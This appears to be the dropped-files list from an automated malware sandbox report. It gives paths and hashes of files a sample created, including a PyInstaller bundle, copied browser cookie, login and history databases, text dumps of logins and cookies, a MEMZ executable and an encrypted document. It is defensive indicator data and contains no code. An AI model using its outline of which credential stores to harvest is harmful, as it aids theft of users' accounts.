C:\Users\Admin\AppData\Local\Temp\_MEI1282\multidict\_multidict.cp312-win_amd64.pyd

Filesize
45KB

MD5
4eed96bbb1c4b6d63f50c433e9c0a16a

SHA1
cde34e8f1dac7f4e98d2b0aaf1186c6938de06c3

SHA256
b521b7e3b6bed424a0719c36735bc4bf2bb8b0926370b31c221c604e81f8d78b

SHA512
1cacb250d867fcbbc5224c3f66cb23a93f818bc1d0524cad6d1c52295d243af10f454fde13fa58671d3ee62281a2a3f71a69f28b08fd942fcedba3c9b09a774a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\propcache\_helpers_c.cp312-win_amd64.pyd

Filesize
73KB

MD5
93ccd2b7284bdc745f1adbb8f0927f26

SHA1
30043d4dad9a909b2d0841d279f5266f00315ad9

SHA256
c8c7c9259a47961321b6d913b3cb70215a37b9cff1dbde9e9cbc3250c1b5ad77

SHA512
1dd365345ff334183a1a4ad959ec07a732836d6f1768e935462f0ea62f24f50ee62fb1324fcd813ef7bc40ed092c33f5d5bf70b8d016b67be9a9274dad2868d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\pyexpat.pyd

Filesize
196KB

MD5
5e911ca0010d5c9dce50c58b703e0d80

SHA1
89be290bebab337417c41bab06f43effb4799671

SHA256
4779e19ee0f4f0be953805efa1174e127f6e91ad023bd33ac7127fef35e9087b

SHA512
e3f1db80748333f08f79f735a457246e015c10b353e1a52abe91ed9a69f7de5efa5f78a2ed209e97b16813cb74a87f8f0c63a5f44c8b59583851922f54a48cf5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\python3.DLL

Filesize
66KB

MD5
79b02450d6ca4852165036c8d4eaed1f

SHA1
ce9ff1b302426d4c94a2d3ea81531d3cb9e583e4

SHA256
d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123

SHA512
47044d18db3a4dd58a93b43034f4fafa66821d157dcfefb85fca2122795f4591dc69a82eb2e0ebd9183075184368850e4caf9c9fea0cfe6f766c73a60ffdf416

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\python312.dll

Filesize
6.6MB

MD5
3c388ce47c0d9117d2a50b3fa5ac981d

SHA1
038484ff7460d03d1d36c23f0de4874cbaea2c48

SHA256
c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb

SHA512
e529c5c1c028be01e44a156cd0e7cad0a24b5f91e5d34697fafc395b63e37780dc0fac8f4c5d075ad8fe4bd15d62a250b818ff3d4ead1e281530a4c7e3ce6d35

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\select.pyd

Filesize
29KB

MD5
92b440ca45447ec33e884752e4c65b07

SHA1
5477e21bb511cc33c988140521a4f8c11a427bcc

SHA256
680df34fb908c49410ac5f68a8c05d92858acd111e62d1194d15bdce520bd6c3

SHA512
40e60e1d1445592c5e8eb352a4052db28b1739a29e16b884b0ba15917b058e66196988214ce473ba158704837b101a13195d5e48cb1dc2f07262dfecfe8d8191

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\setuptools\_vendor\jaraco\text\Lorem ipsum.txt

Filesize
1KB

MD5
4ce7501f6608f6ce4011d627979e1ae4

SHA1
78363672264d9cd3f72d5c1d3665e1657b1a5071

SHA256
37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b

SHA512
a4cdf92725e1d740758da4dd28df5d1131f70cef46946b173fe6956cc0341f019d7c4fecc3c9605f354e1308858721dada825b4c19f59c5ad1ce01ab84c46b24

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\sqlite3.dll

Filesize
1.5MB

MD5
612fc8a817c5faa9cb5e89b0d4096216

SHA1
c8189cbb846f9a77f1ae67f3bd6b71b6363b9562

SHA256
7da1c4604fc97ba033830a2703d92bb6d10a9bba201ec64d13d5ccbfecd57d49

SHA512
8a4a751af7611651d8d48a894c0d67eb67d5c22557ba4ddd298909dd4fb05f5d010fe785019af06e6ca2e406753342c54668e9c4e976baf758ee952834f8a237

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\tcl86t.dll

Filesize
1.7MB

MD5
21dc82dd9cc445f92e0172d961162222

SHA1
73bc20b509e1545b16324480d9620ae25364ebf1

SHA256
c2966941f116fab99f48ab9617196b43a5ee2fd94a8c70761bda56cb334daa03

SHA512
3051a9d723fb7fc11f228e9f27bd2644ac5a0a95e7992d60c757240577b92fc31fa373987b338e6bc5707317d20089df4b48d1b188225ff370ad2a68d5ff7ba6

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\tk86t.dll

Filesize
1.5MB

MD5
9fb68a0252e2b6cd99fd0cb6708c1606

SHA1
60ab372e8473fad0f03801b6719bf5cccfc2592e

SHA256
c6ffe2238134478d8cb1c695d57e794516f3790e211ff519f551e335230de7de

SHA512
f5de1b1a9dc2d71ae27dfaa7b01e079e4970319b6424b44c47f86360faf0b976ed49dab6ee9f811e766a2684b647711e567cbaa6660f53ba82d724441c4ddd06

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\unicodedata.pyd

Filesize
1.1MB

MD5
16be9a6f941f1a2cb6b5fca766309b2c

SHA1
17b23ae0e6a11d5b8159c748073e36a936f3316a

SHA256
10ffd5207eeff5a836b330b237d766365d746c30e01abf0fd01f78548d1f1b04

SHA512
64b7ecc58ae7cf128f03a0d5d5428aaa0d4ad4ae7e7d19be0ea819bbbf99503836bfe4946df8ee3ab8a92331fdd002ab9a9de5146af3e86fef789ce46810796b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\yarl\_quoting_c.cp312-win_amd64.pyd

Filesize
95KB

MD5
f15850ceb4fa98b68dd5e18b14d5ab46

SHA1
a362e448b33ce954de471be966a635ea734b009f

SHA256
438dd5aed3d2e91b9df9dc07a9ea1f92684c979f9ff54b77df244371eb0d89a3

SHA512
8745022be4ad0aa9029b22777ea8cdd00b6354c44f3ee20aa424f08a80a91fe707fad0839e7db76a1d4eeb44b801154e3a979953e0ea0b18bf73b357d960f270

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI1282\zlib1.dll

Filesize
143KB

MD5
297e845dd893e549146ae6826101e64f

SHA1
6c52876ea6efb2bc8d630761752df8c0a79542f1

SHA256
837efb838cb91428c8c0dfb65d5af1e69823ff1594780eb8c8e9d78f7c4b2fc1

SHA512
f6efef5e34ba13f1dfddacfea15f385de91d310d73a6894cabb79c2186accc186c80cef7405658d91517c3c10c66e1acb93e8ad2450d4346f1aa85661b6074c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI20362\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\INSTALLER

Filesize
4B

MD5
365c9bfeb7d89244f2ce01c1de44cb85

SHA1
d7a03141d5d6b1e88b6b59ef08b6681df212c599

SHA256
ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508

SHA512
d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI52402\Crypto\Hash\_SHA224.pyd

Filesize
21KB

MD5
2f2655a7bbfe08d43013edda27e77904

SHA1
33d51b6c423e094be3e34e5621e175329a0c0914

SHA256
c734abbd95ec120cb315c43021c0e1eb1bf2295af9f1c24587334c3fce4a5be1

SHA512
8af99acc969b0e560022f75a0cdcaa85d0bdeadadeacd59dd0c4500f94a5843ea0d4107789c1a613181b1f4e5252134a485ef6b1d9d83cdb5676c5fee4d49b90

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI52402\_tcl_data\encoding\euc-cn.enc

Filesize
84KB

MD5
c5aa0d11439e0f7682dae39445f5dab4

SHA1
73a6d55b894e89a7d4cb1cd3ccff82665c303d5c

SHA256
1700af47dc012a48cec89cf1dfae6d1d0d2f40ed731eff6ca55296a055a11c00

SHA512
eee6058bd214c59bcc11e6de7265da2721c119cc9261cfd755a98e270ff74d2d73e3e711aa01a0e3414c46d82e291ef0df2ad6c65ca477c888426d5a1d2a3bc5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nqinc1cw.hkv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cookies_db_1o6d.db

Filesize
36KB

MD5
034e757a93ab29bd8d161ba3d07971ba

SHA1
2ef982b376361511659ccfc908df9f29a3e8c95c

SHA256
b2e380603db3fe5b84fe5b6cc2c9e37efa50a35d0ca21f922f2a999e1197bd86

SHA512
2d7af10c1720e1c8b92508dd379060c3bf8e9534797ae634d10215a97e46e2331fa1468719061261a3a00cdf0f357cc259fa12ed97216a2378cced1e8cb8336e

Download Submit
C:\Users\Admin\AppData\Local\Temp\cookies_db_nk8m.db

Filesize
20KB

MD5
a516a77b73df2d91b5b93eb41b75e8f2

SHA1
bf6996290524eaf9f691e02f44c43197eb2ae4a3

SHA256
6cdfbf8bbe4d90aa55b3f3066492c73df5afd37b060912979003022e2d6c329a

SHA512
ed0ed9593550138aaa34c833330c9cc3efbe754c5424c36333307f5353c083b4e2559e709387e35d2e2c43798f319cd59c1f346eae791de5698806ad132fe6d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\history_db_6lbw

Filesize
160KB

MD5
ce07f1d95ceeac7d803484a5ef5185bc

SHA1
46463ae47bf17dea7507753f358f46d7015fd627

SHA256
dc202a23bb2dc98fc1af6957308775ed6996e341d03ed1da65183ce411fe3e89

SHA512
7c10c9ce9a1a36b59985c049a1d3576229c214a7ca51fe72ad669e3f404b15972b679f1f31a62dff81a52fdcce2eb6e0e35f56c7e4e1f788d0ed39fbe4c4f75e

Download Submit
C:\Users\Admin\AppData\Local\Temp\history_db_g7tsji

Filesize
116KB

MD5
4e2922249bf476fb3067795f2fa5e794

SHA1
d2db6b2759d9e650ae031eb62247d457ccaa57d2

SHA256
c2c17166e7468877d1e80822f8a5f35a7700ac0b68f3b369a1f4154ae4f811e1

SHA512
8e5e12daf11f9f6e73fb30f563c8f2a64bbc7bb9deffe4969e23081ec1c4073cdf6c74e8dbcc65a271142083ad8312ec7d59505c90e718a5228d369f4240e1da

Download Submit
C:\Users\Admin\AppData\Local\Temp\history_db_xlko

Filesize
160KB

MD5
f310cf1ff562ae14449e0167a3e1fe46

SHA1
85c58afa9049467031c6c2b17f5c12ca73bb2788

SHA256
e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

SHA512
1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

Download Submit
C:\Users\Admin\AppData\Local\Temp\login_db_3lzj3n

Filesize
46KB

MD5
14ccc9293153deacbb9a20ee8f6ff1b7

SHA1
46b4d7b004ff4f1f40ad9f107fe7c7e3abc9a9f3

SHA256
3195ce0f7aa2eae2b21c447f264e2bd4e1dc5208353ac72d964a750de9a83511

SHA512
916f2178be05dc329461d2739271972238b22052b5935883da31e6c98d2697bd2435c9f6a2d1fcafb4811a1d867c761055532669aac2ea1a3a78c346cdeba765

Download Submit
C:\Users\Admin\AppData\Local\Temp\login_db_d0d8

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Roaming\MEMZ0.exe

Filesize
12KB

MD5
a7bcf7ea8e9f3f36ebfb85b823e39d91

SHA1
761168201520c199dba68add3a607922d8d4a86e

SHA256
3ff64f10603f0330fa2386ff99471ca789391ace969bd0ec1c1b8ce1b4a6db42

SHA512
89923b669d31e590189fd06619bf27e47c5a47e82be6ae71fdb1b9b3b30b06fb7ca8ffed6d5c41ac410a367f2eb07589291e95a2644877d6bffd52775a5b1523

Download Submit
C:\Users\Admin\Desktop\QzN7TwYBCN7MTYuMhDbBKbUQNSB6DQqQStHPfVBqCfbPCePdlugc2dALZq3E.jpg

Filesize
17KB

MD5
914a75c5083ca8cc887da0ee4dcc5bf7

SHA1
0c62338c372fc7cdd7dd485c77647f8007fe9bde

SHA256
de3c4f14284b32d7c20cff5d5ef8b4d763becb5c2653dee324f38ab7c9d3a4b7

SHA512
3b29e4951dfc71043df87ae1ff4f1ffe57b302b11bb6b965d3654f0bca769f64c4e4d9d49e2ef760e74ff9cc8570aaa651b8344ab6313d196999983bc19cb7a7

Download Submit
C:\Users\Admin\Documents\ENCRYPTED.MPYcKU96On2wQ24

Filesize
15KB

MD5
7ae2bc4f7f983abfd13a4f73fc6035f2

SHA1
f496ba58e23eee336ad38dd74f62acbab715c71d

SHA256
c069483d82a00508bba4e144431afc390a291763f34a6d3c0b62c09e1d06e4b7

SHA512
9060e330d4bdbd14cdfd18b58ecdf8dca6b60442e2de185e1d702d0c9a4d0d01d9af6b3c39ecab09bc1e13474b80205375540bca28b58c44702ad0e3cc5ee9b9

Download Submit
C:\Users\Admin\cookies.txt

Filesize
65B

MD5
9760f458d79bcd9371ce717e5816a738

SHA1
311b98315855a963e49bd2bcc63ee3be27f42ee3

SHA256
76237daffb243bf7e32655a6c5c983f7085449483e3e5a1f0bba951cdbc20923

SHA512
2c2555d839c9865585d88a671bdbbf22d446bac28eb378d8f5b3298a2739eb9f4dd8aba383798bb700cd14daf16bcf070f3ceea06c18a6a37d31cc1c596c2b65

Download Submit
C:\Users\Admin\cookies.txt

Filesize
3KB

MD5
77712988b0c52b9573463ed9b3dd5523

SHA1
dd0efe0637ab6103d541fa6e29ef20e855941769

SHA256
176793bcb43a385d7347a2336798a8b6ce1d1fb4d7e1098229d27a33fc3f09fd

SHA512
1563e90e79c8f41fef22d22cbfe264c4040ff00ec129ecffd5478689377ed07b199583482c300e2e18693f8c38e6bf001fa267dfb31bc79c00e48fca3c3fd5c5

Download Submit
C:\Users\Admin\edge.zip

Filesize
278B

MD5
1c122d5e234c46aa5ea2811aec63de1e

SHA1
8c573aca7283ff83743b8322413cd173f3e28e6f

SHA256
11324f71cbeed356d360de9583ccf443d600ccca30391f2eeb4eb15d06a2a6b1

SHA512
c7352e3f51f3f125787c78fb698adcc58c2a051880e5f656c09816fc2db4951f74401f83e0f241ba33380394c79ab5fbd1c40b2ed9462dd98096a5335d0bcff7

Download Submit
C:\Users\Admin\edge.zip

Filesize
278B

MD5
6370679cd02a04c6a45af5255c97426b

SHA1
4814d50ae28170217bdf988a0088d40a5cd96081

SHA256
a5fd22ccfd9769a66ff6c2a0191edeb8ccffca49919422466d8f0597f83dac4e

SHA512
d951954c2bfeae6d38253aa01ec2dbe535ee16f42b184a9765ef6ac2cbfdd8afc8ba52e2aa7ab9c19825b1574bf81c520d1e6c01f15736e7a8d10a31c87cc024

Download Submit
C:\Users\Admin\edge.zip

Filesize
278B

MD5
4fdff06f17841fad36632f7539e7ff50

SHA1
ef35430ca94ca88dd7f8fe1f5b01ec4e8ff1d2bb

SHA256
487aea28a358abfab52661e7b8cfe1c137723c3cd7c9a29fd7a44ae190ab650e

SHA512
450a00df09d1ed585f910d537e9dbdf63f1a0386d1a07abb21118c07c9a1c42180b7c0c30a47eb3fc8f18609580f2de52bfcbb1387ff4a49caed82072a1489c5

Download Submit
C:\Users\Admin\history.txt

Filesize
48B

MD5
01d7bdb46336d7902aa9ecd05e842bb5

SHA1
f67852018bf36feea5c13a55886a49016fe474a1

SHA256
100222e8d6ad2c694e7048f91700c4557e88aec75a25355e41aa0165ebcbb751

SHA512
4fd043cf3ee2cf735c34fbdb53211222157269a6ca239a176605249230eac6e346e339c7e0efc4e38130f139a1341786cb3489d35e6b708a058ac30cc07be7d2

Download Submit
C:\Users\Admin\logins.txt

Filesize
31B

MD5
878ab63f87bf98ffbe30e3f33124f817

SHA1
d14df009f79e31c4197aa8f48021ff2cca159c82

SHA256
f70f15f056c82478a5f6cdb1edd7d774c857f3ec0724caf0371b7d6358703ba8

SHA512
78b450f5a8feddecf517e38469285a1ca49d22c1baf1173767f111fddb071801bbd6f2679819758f77fcb233183b2ff0550b55cbecb34d214cd38460155f66a8

Download Submit
C:\Users\Admin\webhistory.txt

Filesize
104B

MD5
9a07f00717c6d85873e97a8111d10f65

SHA1
a718a467a1f2a16aee75456c1853ab7d2317ac54

SHA256
603a2174ef61463a468f0497a3566ae43f5009e6446bd28b57697e153e84bcc1

SHA512
c87d5a8a67259cbba0ede06f0a85d53970f033b0844529bbd3bf092ce09e5e716e220cc73892d6bceb047f3836a4a4933d2c68934cb1378481d817b9bbfec237

Download Submit
C:\Users\Admin\webhistory.txt

Filesize
2KB

MD5
67bcc7ee94577ed61bfcba92309c2bbd

SHA1
6a11ba541ae0d9b411c77fb8372332b2ac01572d

SHA256
443475d530e43e839573e5b1c079485d6478e810d40ed0d6a08421fadb646278

SHA512
53e7e211d4bcd529f3de2e565f7a549656edacb5c73c17a30b5edc0eb838b7a409d815da2224f4889c3a9bd7d960ab09ace135a24b6c688054717f85009eb475

Download Submit
memory/4588-1161-0x000002637FF70000-0x000002637FF71000-memory.dmp

Filesize
4KB

Download
memory/5032-1153-0x0000021856570000-0x0000021856592000-memory.dmp

Filesize
136KB

Download